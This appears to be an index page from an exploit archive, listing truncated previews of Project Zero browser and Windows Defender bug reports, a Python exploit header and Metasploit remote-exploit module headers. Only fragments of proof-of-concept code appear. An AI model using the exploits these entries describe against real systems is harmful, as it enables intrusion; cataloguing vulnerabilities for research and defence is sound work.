Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1260 MsMpEng includes a full system x86 emulator that is used to execute any untrusted files that look like PE executables. The emulator runs as NT AUTHORITYSYSTEM and isn't sandboxed
#!/usr/bin/python # Exploit Author: Juan Sacco juan.sacco@kpn.com at KPN Red Team - http://www.kpn.com # Developed using Exploit Pack - http://exploitpack.com - jsacco@exploitpack.com # Tested on: GNU/Linux - Kali 2017.1 Release # # Description: JAD
!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1185 Mozilla bug tracker link: https://bugzilla.mozilla.org/show_bug.cgi?id=1347617 There is an out of bound read leading to memory disclosure in Firefox. The vulnerability was con
!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1160 Mozilla bug tracker link: https://bugzilla.mozilla.org/show_bug.cgi?id=1343552 There is an out-of-bounds read vulnerability in Firefox. The vulnerability was confirmed on the
/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1155 Skia bug: https://bugs.chromium.org/p/skia/issues/detail?id=6294 There is a heap overflow in SkARGB32_Shader_Blitter::blitH caused by a rounding error in SkEdge::setLine. To tr
!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1120 When an object element loads a JavaScript URL(e.g., javascript:alert(1)), it checks whether it violate the Same Origin Policy or not. Here's some snippets of the logic. void H
!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1151 Here is a snippet of CachedFrameBase::restore which is invoked when cached frames are restored. void CachedFrameBase::restore() { ... for (auto childFrame : m_childFrames) { A
!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1133 Here's a snippet of Editor::Command::execute used to handle |document.execCommand|. bool Editor::Command::execute(const String parameter, Event* triggeringEvent) const { if (!
!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1109 PoC: -- body script let f = document.body.appendChild(document.createElement('iframe')); let g = f.contentDocument.body.appendChild(document.createElement('iframe')); g.conten
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::DCERPC include
### This module requires Metasploit: http://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Seh include Msf::Explo
### This module requires Metasploit: http://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Seh include Msf::Explo
